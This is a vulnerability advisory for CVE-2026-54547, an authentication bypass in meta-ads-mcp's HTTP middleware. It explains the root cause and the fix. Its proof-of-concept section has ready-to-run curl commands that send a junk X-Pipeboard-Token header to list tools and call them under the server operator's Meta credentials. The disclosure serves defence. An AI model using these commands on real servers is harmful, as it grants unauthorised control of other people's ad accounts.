high · 7.4CVE-2026-54547Jul 17, 2026

CVE-2026-54547: meta-ads-mcp Authentication Bypass via X-Pipeboard-Token Header

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A logic flaw in meta-ads-mcp's HTTP middleware lets any unauthenticated caller send a single junk header to skip authentication entirely and execute Meta Ads API calls using the server operator's cred

Packagemeta-ads-mcp
Ecosystempip
Affected< 1.0.115
Fixed in1.0.115

The problem

AuthInjectionMiddleware in meta-ads-mcp (versions before 1.0.115) blocks HTTP MCP requests only when both auth_token and pipeboard_token are absent. The guard at http_auth_integration.py:259 reads: if not auth_token and not pipeboard_token: return 401.

The two token-extraction helpers are not symmetric. extract_token_from_headers() recognises Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN but not X-Pipeboard-Token. extract_pipeboard_token_from_headers() does recognise X-Pipeboard-Token.

Sending only that header produces auth_token=None and pipeboard_token='anything', making the AND condition false and letting the request pass.

Because auth_token is None, set_auth_token() is never called. The token getter falls back to auth.py's META_ACCESS_TOKEN environment variable, so every subsequent MCP tool call runs under the operator's Meta credentials. An attacker with network access can read all ad accounts, campaigns, and creatives, and can create or modify ads as the operator.

Proof of concept

A working proof-of-concept for CVE-2026-54547 in meta-ads-mcp, with the exact payload below.

bash
# Step 1: confirm middleware is active (no auth -> 401)
curl -i -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP 401

# Step 2: bypass with any X-Pipeboard-Token value (no valid credential needed)
curl -i -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP 200 + full tools list (37 tools)

# Step 3: call a tool as operator (confirms META_ACCESS_TOKEN reuse)
curl -i -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'

The root cause is a broken AND guard. Python's boolean short-circuit means the 401 is only returned when both operands are falsy. Sending X-Pipeboard-Token alone makes auth_token=None (truthy after 'not') and pipeboard_token='anything' (falsy after 'not'), so the compound condition evaluates to False and the 401 branch is never taken.

With no auth context set, the patched token getter at http_auth_integration.py:163-168 returns None and delegates to the original accessor. The fallback in auth.py:446-453 then returns whatever META_ACCESS_TOKEN holds in the environment. The @meta_api_tool decorator at api.py:390-396 injects that value as access_token into every tool call, and httpx.AsyncClient forwards it to the Meta Graph API.

The patch narrows the guard to: if not auth_token: return 401. This removes the X-Pipeboard-Token escape hatch entirely. X-Pipeboard-Token is now treated as a supplementary service token only and cannot serve as a standalone authentication credential (CWE-287).

The fix

Upgrade to meta-ads-mcp 1.0.115. The single-line patch in http_auth_integration.py changes the guard from 'if not auth_token and not pipeboard_token' to 'if not auth_token', so a request is rejected unless a real auth token is present regardless of what X-Pipeboard-Token contains.

Only deployments using --transport streamable-http with META_ACCESS_TOKEN configured are affected; stdio transport deployments are not.

Reporter not attributed.

References: [1][2][3]

Related research